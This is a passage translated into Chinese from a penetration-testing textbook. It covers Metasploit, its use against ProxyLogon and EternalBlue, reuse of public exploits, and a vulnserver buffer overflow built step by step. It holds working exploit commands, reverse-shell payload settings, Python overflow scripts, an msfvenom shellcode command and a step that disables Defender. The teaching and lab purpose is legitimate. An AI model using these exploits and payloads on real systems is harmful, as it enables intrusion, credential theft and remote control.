  • 分发组管理

  • 其他账户管理级别

  • 安全组管理

  • 用户账户管理

  • 进程创建

  • 指令服务访问和更改

  • 帐户锁定/注销/登录/特殊登录

  • 可移动存储

  • 政策变化

  • 安全状态变化

这提供了一个清晰的视角,展示了渗透测试人员在我们网络攻击链方法论的漏洞利用阶段之后,必须考虑清除的日志类型。

总结

在本章中,我们深入探讨了克服组织为其内部保护设定的安全控制的系统化过程。我们重点讨论了不同类型的网络接入控制(NAC)绕过机制,如何使用隧道技术建立与外部世界的连接并绕过防火墙,还了解了网络、应用程序和操作系统各个层级的控制,确保我们的漏洞利用能够成功到达目标系统。此外,我们回顾了如何通过 PowerShell 混淆使用 PyFuscation 绕过杀毒软件检测,并探讨了 Veil-Evasion 和 Shellter 框架,用于制作基于文件的漏洞利用。我们还观察到,如何利用 Metasploit 框架轻松绕过 Windows 操作系统的安全控制,例如用户账户控制(UAC)、应用程序白名单和其他特定于 Active Directory 的控制。

在下一章中,我们将研究各种利用系统的手段,包括公开漏洞、漏洞利用框架,如 Metasploit 框架、PowerShell Empire 项目和基于 Windows 的漏洞利用。

第十章:漏洞利用

渗透测试的关键目的是利用数据系统并获取凭证或直接访问感兴趣的数据。正是漏洞利用赋予了渗透测试意义。在本章中,我们将研究利用系统的各种方式,包括公共漏洞和可用的漏洞框架。到本章结束时,你应该能够理解以下内容:

  • Metasploit 框架

  • 使用 Metasploit 对目标进行漏洞利用

  • 使用公共漏洞

  • 开发特定于 Windows 的示例漏洞

  • Empire PowerShell 框架

Metasploit 框架

Metasploit 框架 (MSF) 是一款开源工具,旨在简化渗透测试。它使用 Ruby 编程语言编写,采用模块化方法来促进在网络杀伤链方法论中的漏洞利用阶段。这使得开发和编写漏洞变得更加容易,同时也使复杂的攻击得以轻松实现。

图 10.1 展示了 MSF 架构及其组件的概述:

图 10.1:Metasploit 架构及其组件

框架可以分为三个主要部分:

  • 接口

  • 模块

MSF 是通过多种功能、库以及编程语言(如 Ruby)构建的。为了利用这些功能,渗透测试员必须了解这些功能是什么,如何触发它们,应该传递什么参数,以及预期的结果是什么。

所有库都列在 /usr/share/Metasploit-framework/lib/ 文件夹中,如 图 10.2 所示:

图形用户界面,文本描述自动生成

图 10.2:Metasploit 库文件夹

REX

REX 是 Metasploit 中的一个库,最初由 Jackob Hanmack 开发,后来由 Rapid 7 开发团队正式化。这个库提供了多种对漏洞开发有用的类。在当前的 MSF 中,REX 处理所有核心功能,如套接字连接、原始函数和其他格式化操作。

框架核心

该库位于 /usr/share/metasploit-framework/lib/msf/core,为所有将要编写的新模块提供基本的 应用程序编程接口 (API)。

框架基础

该库为会话、shell、Meterpreter、VNC 和其他默认 API 提供了良好的 API,但它依赖于框架核心。

MSF 的其他扩展部分包括自定义插件、协议工具、安全工具、Web 服务和其他集成服务。

接口

MSF 以前有多种接口,例如命令行界面、Web 界面等。在最新版本(社区版和专业版)中,Rapid 7 开发团队已经淘汰了所有这些接口。在本章中,我们将探索控制台和 GUI(Armitage)接口。控制台界面是最快的,因为它直接呈现攻击命令,并且提供易于使用的配置参数界面。

要访问这个界面,在命令提示符下输入sudo msfconsole图 10.3显示了应用程序启动时出现的启动画面:

图形用户界面,图表 描述自动生成

图 10.3:Metasploit 控制台主菜单

模块

MSF 由模块组成,这些模块组合起来形成一个攻击方式。各模块及其特定功能如下:

  • 漏洞利用:针对特定漏洞的代码片段。主动漏洞利用会针对特定目标进行攻击,执行直到完成,然后退出(例如缓冲区溢出)。被动漏洞利用则等待连接的主机,例如 Web 浏览器或 FTP 客户端,当它们连接时进行攻击。

  • 有效载荷:这些是紧随成功漏洞利用后执行的恶意代码。

  • 辅助模块:这些模块不会在测试者和目标系统之间建立或直接支持访问;相反,它们执行相关的功能,如扫描、模糊测试或嗅探,支持漏洞利用阶段。

  • 后期模块:在成功攻击后,这些模块在受控目标上运行,以收集有用数据,并帮助攻击者深入目标网络。在第十一章中,我们将深入学习后期模块,目标行动与横向移动

  • 编码器:当漏洞利用必须绕过防病毒防御时,这些模块会对有效载荷进行编码,使其无法通过签名匹配技术被检测到。

  • 无操作NOPs):这些用于攻击时促进缓冲区溢出。

这些模块一起使用,用于进行侦察并对目标发起攻击。利用 MSF 利用目标系统的步骤可以总结如下:

  1. 选择并配置漏洞利用(针对目标系统中某一特定漏洞的代码)。

  2. 检查目标系统,以确定它是否容易受到该漏洞的攻击。此步骤是可选的,通常为了减少被检测的风险会省略。

  3. 选择并配置有效载荷(在成功利用后将在目标系统上执行的代码;例如,从受控系统到源系统的反向 Shell)。

  4. 选择一种编码技术,以绕过检测控制(例如 IDS/IPs 或防病毒软件)。

  5. 执行漏洞利用。

数据库设置与配置

设置 Metasploit 的新版本相对简单,因为从msf3版本开始,Metasploit 不再作为服务运行:

  1. 通过在终端中运行 sudo systemctl start postgresql.service 启动 PostgreSQL。

  2. 通过运行 sudo msfdb init 来初始化 Metasploit 数据库。除非是第一次操作,否则初始化将创建 msf 数据库、创建角色,并将 msf_testmsf 数据库添加到 /usr/share/metasploit-framework/config/database.yml 配置文件中;如果不是第一次,默认情况下,msf 数据库将在 Kali Linux 的预构建环境中创建,如 图 10.4 所示:文本说明自动生成

    图 10.4:初始化 Metasploit 数据库

  3. 现在,你已经准备好访问 msfconsole

  4. 进入控制台后,你可以通过输入 db_status 来验证数据库的状态。你应该能够看到以下内容:

    msf6 > db_status 
    [*] Connected to msf. Connection type: postgresql. 
    
  5. 如果有多个目标,且这些目标属于不同的公司单位,或可能是两个不同的公司,最好在 Metasploit 中创建一个工作区。这可以通过在 msfconsole 中运行 workspace 命令来实现。以下摘录显示了帮助菜单,在这里你可以添加/删除工作区,以便组织这些漏洞利用,从而实现你的目标:

    msf6 > workspace -h
    Usage:
        workspace                  List workspaces
        workspace -v               List workspaces verbosely
        workspace [name]           Switch workspace
        workspace -a [name] ...    Add workspace(s)
        workspace -d [name] ...    Delete workspace(s)
        workspace -D               Delete all workspaces
        workspace -r <old> <new>   Rename workspace
        workspace -h               Show this help information
    msf6 > workspace -a Fourthedition
    [*] Added workspace: Fourthedition
    [*] Workspace: Fourthedition
    msf6 > workspace
      default
    * Fourthedition 
    

以下示例表示针对目标基于 Linux 的操作系统进行的简单 Unreal IRCD 攻击。安装为虚拟机后(如 第一章基于目标的渗透测试 中所述),运行在 10.10.10.8 上的 Metasploitable3 Ubuntu 可以通过 db_nmap 命令扫描,该命令识别开放端口和关联应用程序。db_nmap 扫描的摘录如 图 10.5 所示:

msf6 > db_nmap -vv -sC -Pn -p- 10.10.10.8 --save 

文本说明自动生成

图 10.5:在 Metasploit 中运行 db_nmap 扫描

使用 --save 选项时,扫描结果的所有输出将保存在 /root/.msf4/local/ 文件夹中。在前面的示例中,通过 nmap 已识别了几个应用程序。

如果扫描是单独使用 nmap 完成的,这些结果也可以通过 db_import 命令导入到 Metasploit 中。nmap 输出通常会产生三种类型的输出,分别是 xmlnmapgnmap

.xml 格式可以通过 Nmap 的 nokogiri 解析器导入到数据库中。导入结果后,在处理大型 nmap 数据集时,可以利用多种选项:

文本说明自动生成

图 10.6:将独立的 Nmap 扫描导入 Metasploit

作为测试人员,我们应该检查每个目标是否存在已知的漏洞。如果我们在 msfconsole 中运行 services 命令,数据库应包括主机及其列出的服务,如 图 10.7 所示:

图形用户界面,文本说明自动生成

图 10.7:列出 Metasploit 中的所有服务

开始的一个重要地方是 Metasploit 自带的漏洞集合。可以通过以下命令从命令行进行搜索:

msf> search UnrealIRCd 

搜索返回了针对 UnrealIRCd 服务的特定漏洞。图 10.8 显示了可用漏洞的摘录。如果测试人员选择利用任何其他列出的服务,他们可以在 Metasploit 中搜索关键字:

图形用户界面,文本,应用程序,聊天或文本消息 说明自动生成

图 10.8:在 Metasploit 控制台中进行关键字搜索以查找漏洞

新版本的 Metasploit 索引了模块,并允许测试人员仅通过输入索引中的数字来使用它。由于 exploit/unix/irc/unreal_ircd_3281_backdoor 漏洞被评为优秀,因此在本示例的其余部分中选择了此漏洞。此排名由 Metasploit 开发团队确定,标识该漏洞对于经验丰富的测试人员在稳定的目标系统上工作的可靠性。在现实中,多个变量(测试人员的技能、网络中的保护设备、操作系统和托管应用程序的修改)可能会共同作用,显著改变漏洞的可靠性。

使用以下 info 命令获得了有关该漏洞的更多信息:

msf> info 0 

返回的信息包括参考资料以及在图 10.9中显示的信息:

文本 说明自动生成,信心中等

图 10.9:使用 info 命令获取漏洞的详细信息

要指示 Metasploit 使用此漏洞进行攻击,我们发出以下命令:

Msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor 

Metasploit 将命令提示符从 msf> 更改为 msf exploit(unix/irc/unreal_ircd_3281_backdoor) >

Metasploit 提示测试人员选择有效载荷(从受损系统到攻击者的反向 shell)并设置其他变量,列举如下:

  • 远程主机 (RHOST):这是被攻击系统的 IP 地址。

  • 远程端口 (RPORT):这是用于漏洞利用的端口号。在此案例中,我们可以看到该服务已在默认端口 6667 上被利用,但在我们的情况下,同样的服务运行在端口 6697 上。

  • 本地主机 (LHOST):这是用于发起攻击的系统的 IP 地址。

在所有变量都设置好之后,通过在 Metasploit 提示符下输入 exploit 命令来发起攻击。Metasploit 启动攻击并确认 Kali Linux 与目标系统之间的反向 shell 已经打开。在其他漏洞中,成功的漏洞利用通过使用 command shell 1 opened 来表示,并给出发起和终止反向 shell 的 IP 地址。

为了验证是否存在 shell,测试人员可以查询主机名、用户名(uname -a)和 whoami,以确认返回的结果是特定于位于远程位置的目标系统。请查看 图 10.10

Text  Description automatically generated

图 10.10:使用 Metasploit 通过反向 shell 成功利用 UnrealIRC

此漏洞可以通过使用后渗透模块进一步探索。通过按 Ctrl + Z 在后台运行 Meterpreter。你应当收到 Background session 1? [y/N] y enter y

当系统被攻击到这种程度时,便可以进行后续的利用活动(参见 第十一章目标行动与横向移动,以及 第十三章命令与控制,了解如何提升权限并保持对系统的访问)。

利用 MSF 攻击目标

MSF 对操作系统的漏洞和第三方应用程序的漏洞同样有效。我们将举例说明这两种情况。

使用简单反向 shell 的单一目标

在这个例子中,我们将利用两个不同的漏洞。第一个是著名的 ProxyLogon 漏洞,该漏洞被 Hafnium 威胁组织滥用,利用 Microsoft Exchange Server 在 2021 年 3 月发起攻击,造成了互联网风暴,并引发了全球范围内的多个网络安全事件和金融欺诈。主要被利用的四个漏洞是:

  • CVE-2021-26855服务器端请求伪造SSRF) – 攻击者可以远程提交特制的 HTTP 请求,且无需身份验证,服务器接受来自 TCP 端口 443 的不信任连接。

  • CVE-2021-26857 – 微软 Exchange 统一消息服务UMS)中的不安全反序列化漏洞,允许攻击者以高权限的 SYSTEM 账户运行恶意代码。此漏洞可以通过 SSRF 或被窃取的凭证进行利用。

  • CVE-2021-26858CVE-2021-27065 – 这两个漏洞都涉及到任意文件写入漏洞,允许将文件写入指定目录。

在以下示例中,我们将演示如何结合利用 CVE-2021-26855 绕过身份验证并冒充管理员账户,以及利用 CVE-2021-27065 写入任意文件并通过载荷提供远程代码执行权限。

作为第一步,攻击者需要确保目标上的 Microsoft Exchange Server 是暴露的,并枚举出所有电子邮件地址,以执行成功的攻击。测试者可以利用 Python ProxyShell 枚举脚本列出所有连接到 Exchange 服务器的用户。此脚本可以在github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/blob/main/Chapter%2010/ProxyShell-enumerate.py上找到。

攻击者可以运行python3 proxyshell-enumerate.py –u <Exchange server IP>。该脚本在目标上的输出应该会显示 Exchange 服务器中的所有电子邮件地址,如在图 10.11中所示:

图 10.11:Exchange 服务器上用户电子邮件地址的枚举

要启动此攻击,第一步是通过运行以下命令来打开 MSF,如图 10.12所示:

sudo msfconsole 
search proxylogon
use exploit/windows/http/exchange_proxylogon_rce
set payload windows/meterpreter/reverse_https
set rhosts <your Exchange server IP>
set email <administrator email id>
set lhost <Your Kali IP>
set lport <You kali port> 

图 10.12:在 Exchange 漏洞上运行利用代码

如果出现任何错误消息,或者利用攻击完成后没有 Meterpreter Shell,确保通过在 PowerShell 中以管理员身份运行Set-MpPreference -DisableRealtimeMonitoring $true来禁用 Microsoft Exchange Server 中的 Defender。

成功的漏洞利用会导致在高权限的 SYSTEM 用户上下文中执行任意代码。成功执行代码后,你应该能获得在图 10.13中显示的 Meterpreter Shell:

图 10.13:成功的漏洞利用导致 Meterpreter HTTPS 反向 Shell

当利用漏洞成功完成后,它应该会在两个系统之间打开 Meterpreter 反向 Shell。Meterpreter 提示符会打开,测试者可以有效地通过命令行 Shell 访问远程系统。攻击成功后的第一步之一是验证你是否已经进入目标系统。正如在图 10.14中所示,sysinfo命令能够识别计算机名和操作系统,验证攻击是否成功:

图 10.14:被攻陷服务器的系统信息

我们将在本节中探索的第二个漏洞是 MS070-10,它通过利用 EternalBlue 漏洞在 2017 年 4 月引发了全球范围的 WannaCry 勒索病毒。该漏洞存在于 Windows 中 SMB 版本的实现方式,具体来说,是 SMBv1 和通过 TCP 端口445及端口139传输 NBT 的方式——这用于安全地共享数据。

成功的利用会导致攻击者能够在远程系统上运行任意代码。尽管这个漏洞较为陈旧,但许多组织仍然不得不依赖一些遗留系统。这可能是由于各种原因,如 OEM 依赖性,或是业务本身无法摆脱旧系统,比如 Windows XP、7、2003、Windows 2008 和 Windows 2008 R2。为了展示如何轻松利用这些遗留系统,我们将利用 Metasploitable3(运行在10.10.10.4)进行该漏洞利用,通过在 Kali 终端中设置以下内容:

sudo msfconsole 
search eternal
use exploit/windows/smb/ms17_010_eternalblue 
set payload windows/meterpreter/reverse_https
set rhosts <your Exchange server IP>
set lhost <Your Kali IP>
set lport <You kali port> 

图 10.15:使用 Metasploit 利用 EternalBlue 漏洞

最后,漏洞利用应该为我们提供类似于之前漏洞利用中看到的 Meterpreter Shell。hashdump命令应该显示所有用户名和密码哈希值,如图 10.16所示:

A screenshot of a computer  Description automatically generated with low confidence

图 10.16:在 Meterpreter 中使用 hashdump 提取用户名和哈希值

此外,为了存储这些信息以增强网络中的横向移动,测试人员可以在msfconsole中利用incognitokiwi模块。

使用 MSF 资源文件利用多个目标

MSF 资源文件基本上是按行分隔的文本文件,其中包含需要在msfconsole中执行的一系列命令。让我们创建一个资源文件,该文件可以在多个主机上利用相同的漏洞:

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost xx.xx.xx.xx
set lhost xx.xx.xx.xx
set lport 4444
exploit -j
use exploit/windows/http/exchange_proxylogon_rce
set payload windows/meterpreter/reverse_https
set rhost xx.xx.xx.xx
set lhost xx.xx.xx.xx
set lport 443
exploit -j 

将文件保存为multiexploit.rc。现在,您可以通过运行msfconsole -r filename.rc来调用资源文件,其中-r表示资源文件。上述资源文件将按顺序利用相同的漏洞。一旦第一个漏洞利用完成,指定exploit -j将把正在运行的漏洞利用转移到后台,允许下一个漏洞利用继续。一旦所有目标的漏洞利用完成,我们应该能够在 Metasploit 中看到多个 Meterpreter Shell。

如果漏洞利用设计仅在单个主机上运行,可能无法在漏洞利用中输入多个主机或 IP 范围。然而,替代方法是对每个主机使用不同的端口号运行相同的漏洞利用。我们将在下一章详细讨论在提升权限时可以利用的现有 MSF 资源文件。

使用公共漏洞

每个攻击者都始终在寻找公共漏洞,并根据自己的需求修改它们。最近的一个漏洞利用是在 2021 年 8 月 6 日发布的 ProxyLogon 漏洞,它震惊了大多数运行本地 Exchange 服务器的公司,这些服务器承载了所有关键业务邮件,进而提高了对信息窃取恶意软件的认识。然而,在本节中,我们将深入探讨如何利用已知的可用漏洞论坛,以及如何将它们整合到我们的 Kali Linux 系统中。

定位并验证公开可用的漏洞

渗透测试人员在测试过程中经常发现零日漏洞,通常会通知公司。然而,对于真正的攻击者来说,发现的任何漏洞都会被制作成漏洞利用工具,然后卖给像 VUPEN 这样的公司,以获取金钱或名声。渗透测试的一个重要方面是寻找互联网上公开可用的漏洞并提供概念验证。

最初的漏洞数据库诞生于互联网上,名为 Milw0rm。基于相同的概念,我们可以看到多个类似的数据库,渗透测试社区可以利用它们。以下是攻击者主要查找漏洞的地方列表:

  • Exploit-DBEDB):顾名思义,它是一个包含互联网上公共漏洞的数据库档案,并列出了易受攻击的软件版本。EDB 由漏洞研究人员和渗透测试人员开发,旨在服务于社区。

    渗透测试人员通常将 Exploit-DB 作为概念验证工具,而非咨询工具,这使得它在渗透测试或红队演习中更具价值:

    • EDB 被嵌入到 Kali Linux 2.0 中,作为构建版本的一部分,使得通过 SearchSploit 搜索所有可用漏洞变得相对简单。EDB 的优势在于它还兼容常见漏洞和暴露CVEs)。在适用的情况下,漏洞将包括 CVE 详细信息。
  • SearchSploit: SearchSploit 是 Kali Linux 中的一个简单工具,用于通过关键词搜索 EDB 中的所有漏洞,从而缩小攻击范围。打开终端并输入searchsploit exchange windows remote后,您应该能够看到以下内容:

    图 10.17:从 searchsploit 搜索自定义漏洞

编译并使用漏洞

攻击者将收集所有相关的漏洞,发布并汇编它们,然后准备好作为武器来利用目标。在本节中,我们将深入探讨如何汇编不同类型的文件,并添加所有以msfcore为 Metasploit 模块基础的用 Ruby 编写的漏洞。

编译 C 文件并执行漏洞

旧版本的漏洞通常是用 C 语言编写的,特别是缓冲区溢出攻击。让我们看看从 EDB 编译 C 文件并为易受攻击的 Apache 服务器制作漏洞的一个例子。

攻击者可以利用 GNU 编译器集合将 C 文件编译成可执行文件,使用以下命令:

cp /usr/share/exploitdb/exploits/windows/remote/3996.c apache.c
gcc apache.c -o apache
./apache 

一旦文件成功编译且没有任何错误或警告,攻击者应该能够看到漏洞正在运行,如图 10.18所示:

图 10.18:编译 C 文件并从 EDB 运行

添加使用 MSF 作为基础编写的漏洞

根据平台和运行的漏洞类型,可以直接从浏览器或从/usr/share/exploitdb/exploits/复制漏洞文件/脚本。

在这个示例中,我们将使用/usr/share/exploitdb/exploits/windows/remote/16756.rb

将 Ruby 脚本作为定制漏洞添加到 Metasploit 模块,将文件移动或复制到/usr/share/metasploit-framework/modules/exploits/windows/http/,并将文件命名为NewExploit.rb

sudo cp /usr/share/exploitdb/exploits/windows/remote/16756.rb /usr/share/metasploit-framework/modules/exploits/windows/http/NewExploit.rb 

一旦文件被复制或移动到新的位置,必须重新启动msfconsole,以确保文件已被加载到 Metasploit 中的可用模块中。你将能够使用你设置的自定义名称,作为 Metasploit 可用模块的一部分:

文本描述自动生成

图 10.19:将定制漏洞从 EDB 添加到 Metasploit 框架

这就结束了将 EDB 中的现有漏洞添加到 Metasploit 的过程。我们将在下一节中探讨编写我们自己的定制漏洞。

开发 Windows 漏洞

漏洞开发是一项艰难的艺术,要求攻击者对汇编语言和底层系统架构有一定的理解。我们可以利用以下五阶段方法来开发一个定制漏洞:

文本,应用程序描述自动生成

图 10.20:五阶段定制漏洞开发

在本节中,我们将介绍开发 Windows 漏洞所需的一些基础知识,通过构建一个易受攻击的应用程序。从漏洞开发的角度来看,渗透测试人员在开发漏洞时必须了解以下基本术语:

  • 寄存器:所有进程通过寄存器执行;这些寄存器用于存储信息。

  • x86:这包括大多数基于 Intel 的 32 位系统;64 位系统表示为 x64。

  • 汇编语言:这包括低级编程语言。

  • 缓冲区:这是程序中一个静态的内存存储器,用于在栈或堆上存储数据。

  • 调试器:调试器是可以在程序执行时查看程序运行状态的工具。你还可以使用它们查看寄存器和内存的状态。我们将使用的一些工具包括 Immunity Debugger、GDB 和 OllyDbg。

  • ShellCode:这是攻击者在成功利用过程中创建的代码。

以下是不同类型的寄存器:

  • EAX:这是一个 32 位寄存器,用作累加器并存储数据和操作数。

  • EBX:这是一个 32 位基寄存器,作为数据的指针。

  • ECX:这是一个 32 位寄存器,用于循环目的。

  • EDX:这是一个 32 位数据寄存器,用于存储 I/O 指针。

  • ESI/EDI:这两个是 32 位索引寄存器,作为所有内存操作的数据指针。

  • EBP:这是一个 32 位的堆栈数据指针寄存器。

  • 扩展指令指针 (EIP): 这是一个 32 位的程序计数器/指令指针,用于保存下一条待执行的指令。

  • 扩展堆栈指针 (ESP): 这是一个 32 位堆栈指针寄存器,精确地指向堆栈所在的位置。

  • SSDSESCSFSGS: 这些是 16 位的段寄存器。

  • NOP: 这是空操作的缩写。

  • JMP: 这是跳转指令的缩写。

通过模糊测试识别漏洞

攻击者必须能够识别任何给定应用程序中的正确模糊测试参数,以找到漏洞并加以利用。在本节中,我们将通过 Stephen Bradshaw 创建的易受攻击的服务器示例进行讲解。

该易受攻击的软件可以从github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/tree/main/Chapter%2010/下载

在本例中,我们将使用 Windows 10 来托管易受攻击的服务器。一旦下载完应用程序,我们将解压文件并运行服务器。

这将为远程客户端打开9999端口以进行连接。当易受攻击的服务器启动并运行时,你应该能看到如下内容:

图 10.21:Windows 10 上运行的易受攻击服务器

攻击者可以通过netcat连接到9999端口的服务器,从 Kali Linux 与服务器进行通信,如图 10.22所示:

图 10.22:从 Kali Linux 连接到易受攻击的服务器

Fuzzing(模糊测试)是一种技术,攻击者专门向目标发送格式错误的数据包,以产生应用程序错误或一般性故障。这些故障指示应用程序开发者编写的代码中存在漏洞。

攻击者可以通过运行他们自己的代码,找出如何利用该漏洞来实现远程访问。现在,应用程序已可访问,一切准备就绪,攻击者可以开始模糊测试的工作。

尽管有许多模糊测试工具可供选择,但 SPIKE 是 Kali Linux 上默认安装的工具之一。SPIKE 是一个模糊测试工具包,它通过提供脚本编写功能来创建模糊测试工具;然而,它是用 C 语言编写的。以下是可以在 SPIKE 中使用的解释器列表:

  • generic_chunked

  • generic_send_tcp

  • generic_send_udp

  • generic_web_server_fuzz

  • generic_web_server_fuzz2

  • generic_listen_tcp

SPIKE 允许你添加自己的脚本集,而无需用 C 语言编写几百行代码。攻击者还可以考虑使用其他模糊测试工具,如 Peach Fuzzer、BooFuzz 和 FilFuzz。

一旦攻击者连接到目标应用程序,他们应该能够在易受攻击的服务器中看到多个可用选项,然后可以进行操作。这包括STATSRTIMELTIMESRUNTRUNGMONGDOGKSTETGTERHTERLTERKSTAN等有效命令的一部分,这些命令需要输入。我们将使用generic_send_tcp解释器来对应用程序进行模糊测试。使用该解释器的格式如下:. /generic_send_tcp 主机 端口 spike_script SKIPVAR SKIPSTR

  • host:这是目标主机或 IP 地址。

  • port:这是要连接的端口号。

  • spike_script:这是要在解释器中运行的 SPIKE 脚本。

  • SKIPVARSKIPSTR:这使得测试人员可以在模糊测试会话的中间跳入,如 SPIKE 脚本中所定义。

作为下一关键步骤,让我们继续创建一个简单的 SPIKE 脚本来进行readline,运行SRUN,并将字符串值作为参数传递:

s_readline(); 
s_string("SRUN |"); 
s_string_variable("VALUE"); 

脚本将在连接到 IP/主机名后读取输入的第一行(s_readline),然后运行SRUN,并生成一个随机值。注意,要运行 SPIKE 脚本,必须将其保存为.spk文件格式。现在,让我们将上述三行保存为exploitfuzzer.spk文件,并如图 10.23所示,对目标运行 SPIKE 脚本:

图 10.23:使用 SRUN 对易受攻击的服务器进行模糊测试

在对应用程序进行模糊测试后,确认没有服务器崩溃或类似问题,因此SRUN参数并不容易受攻击。接下来的步骤是选择另一个参数。这次我们将选择TRUN作为参数,在相同脚本中进行模糊测试:

s_readline(); 
s_string("TRUN |"); 
s_string_variable("VALUE"); 

保存exploitfuzz.spk文件并运行相同的命令,如图 10.24所示:

图 10.24:使用 TRUN 对易受攻击的服务器进行模糊测试

使用 TRUN 对应用程序进行模糊测试导致应用程序崩溃,因此现在我们可以确认此功能可以被滥用和利用。作为下一关键步骤,我们必须调试并以更详细的方式复制崩溃。

调试并复制崩溃

在服务器端,我们必须调试应用程序。为了进行调试,我们将从www.immunityinc.com/products/debugger/下载 Immunity Debugger。该调试器主要用于查找漏洞、分析恶意软件和逆向工程任何二进制文件。在运行vulnserver.exe后,可以将易受攻击的服务器作为进程附加到调试器中,或者直接通过调试器可执行并打开,如图 10.25所示:

图形用户界面,文本  自动生成的描述

图 10.25:使用 Immunity Debugger 加载 vulnserver

一旦应用程序通过调试器运行,并且我们的 Kali Linux 系统中运行了模糊测试脚本,如图 10.25所示,您应该能够看到服务器在受害者的计算机上崩溃。

调试器还为我们提供了一些有用的信息,如异常偏移量 41414141,我们可以在 Immunity Debugger 中的 Registers 部分记下它(转换为 AAAA),如 图 10.26 所示:

Text  Description automatically generated

图 10.26:因模糊测试导致 vulnserver 崩溃后的寄存器信息

为了成功进行给定应用程序的缓冲区溢出攻击,涉及以下步骤:

  1. 寻找正确的尖峰长度

  2. 模糊测试正确的模式

  3. 寻找偏移量

  4. 覆盖 EIP

  5. 寻找 JMP ESP 操作的正确地址

  6. 检查坏字符并放置 NOPS sled

  7. 生成 shellcode

  8. 设置监听器并进行利用

第一步是准确找出导致服务器崩溃的字符数量,以及可以利用的缓冲区大小。我们将开始调试崩溃的应用程序,查看 Registers(寄存器)部分中的 ESP 地址,在 Immunity Debugger 中右键点击并选择 Follow in Dump,查看有效载荷最初是如何插入的,并记下内存地址 00ACF1F0,如 图 10.27 所示:

图 10.27:模糊测试开始时的初始内存

如果我们一直遍历到模糊测试 AAA 停止的地方,你会看到 00ACFD98,如 图 10.28 所示。请注意,这些地址会根据你在调试或反汇编可执行文件时使用的操作系统发生变化。

图 10.28:模糊测试内存地址的结束

现在我们有了开始和结束地址,接下来让我们使用 python3 通过在终端运行 python3,并简单地输入 0x00ACFD98(内存地址的结束位置)和 0x00ACF1F0(内存地址的起始位置),如下所示。它应该会给我们提供缓冲区的长度:

─# python3                                                            
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00ACFD98 - 0x00ACF1F0
2984 

在这种情况下,我们有一个 2984 的缓冲区长度。下一步是控制我们利用代码的执行。

控制应用程序的执行

我们现在已经知道了缓冲区的长度。下一步是找到正确的偏移量来控制 EIP。让我们编写一个快速的 Python 脚本,通过精确的长度连接到脆弱的服务器,这个长度会使服务器崩溃,保存文件为 crash.py,并在目标 IP 上运行:

import socket
s = socket.socket()
s.connect(("10.10.10.4",9999))
leng = 2984
payload = [b"TRUN /.:/",b"A"*leng]
payload = b"".join(payload)
s.send(payload)
s.close() 

下一步是使用 MSF 创建一个模式,通过定位到 /usr/share/etasploit-framework/tools/exploit/ 文件夹,并在 Kali Linux 终端中运行 ./pattern_create -l 2984

你可以将生成的内容输出到文件中,也可以从终端复制它。或者,你可以通过在 Python 程序中添加另一个变量来使用它。这次我们将禁用缓冲区,并使用由攻击工具生成的长度为 2984 的模式:

import socket
s = socket.socket()
s.connect(("10.10.10.4",9999))
leng = 2984
payload = [b"TRUN /.:/",b"<PAYLOAD FROM PATTERNCREATE>"]
payload = b"".join(payload)
s.send(payload)
s.close() 

同样,运行crash.py对目标进行攻击将导致服务器再次崩溃。然而,所有的A字符都被创建的模式替换了。在易受攻击的服务器上,我们应该能够看到 Immunity Debugger 中的寄存器,它提供了将存储在EIP中的下一条指令,如图 10.29所示:

自动生成的文本说明

图 10.29:注入模式后的应用程序 EIP

这是与下一个 EIP 386F4337进行模糊测试的结束。要创建一个特定于 Windows 的漏洞利用,我们必须识别 EIP 的正确偏移量。可以使用像pattern_offset这样的漏洞利用工具提取该偏移量,pattern_offset接受 EIP 输入,并且输入长度与创建模式时使用的长度相同。

cd /usr/share/etasploit-framework/tools/exploit/
sudo ./pattern_offset.rb -q 0x386F4337 –l 2984
[*] Exact match at offset 2003 

这意味着在使用 EIP 创建的模式中找到了偏移匹配。现在,我们知道缓冲区2003足以使服务器崩溃,我们可以开始溢出,并查看是否能够覆盖 EIP:

import socket
s = socket.socket()
s.connect(("10.10.10.4",9999))
leng = 2984
offset = 2003
eip = b"BBBB"
payload = [b"TRUN /.:/",b"A"*offset,eip,b"C"*(leng – offset -len(eip))]
payload = b"".join(payload)
s.send(payload)
s.close() 

在 Kali Linux 中执行前面的 Python 代码后,您应该看到我们覆盖的 EIP。如果一切正确,您应该在服务器端看到 EIP 为42424242,并在 Immunity 调试器中显示:

图 10.30:成功覆盖 EIP 地址

识别正确的坏字符并生成 shellcode

我们的下一个任务是识别 JMP ESP 的地址,因为我们的有效载荷将被加载到 ESP 寄存器中。为此,我们将使用mona.py脚本,这是一个 Python 工具,可以加速在开发漏洞利用时的搜索。这个工具可以直接从github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/blob/main/Chapter%2010/mona.py下载。

下载 Python 脚本后,应将其放置在 Immunity Debugger 安装位置的PyCommands文件夹中(c:\program files(x86)\Immunity Inc\Immunity Debugger\Pycommands\)。将mona.py脚本放入 PyCommands 后,测试人员需要重新打开 Immunity Debugger 并在 Immunity 终端中运行!mona jmp –r esp。这应该会显示 JMP ESP。在我们的例子中,它是0x62501203,如图 10.31所示:

自动生成的文本说明

图 10.31:运行 mona 以识别 JMP ESP 地址

如果 mona 的显示消失了,只需在 Immunity Debugger 的相同终端中执行!mona help即可将屏幕恢复过来。现在我们已经准备好创建有效载荷。

您可以使用 mona 来识别坏字符。测试人员可以利用任何公开的资料,寻找更多漏洞利用的方式。这个话题本身值得出一本书。

要在 mona 中创建默认的字节数组,可以使用!mona bytearray,这将生成两个名为bytearray.txtbytearray.bin的文件,其中包含所有的坏字符。

我们将继续使用 msfvenom 创建一个 Windows 载荷,将 '\x00' 作为一个坏字符,通过在终端中运行以下命令来实现。这将生成一个 shellcode,提供一个反向 Meterpreter shell,连接到攻击者的 IP 地址:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<Kali IP> lport=<portnumber> -e x86/shikata_ga_nai -b '\x00' -f python 

获取 shell

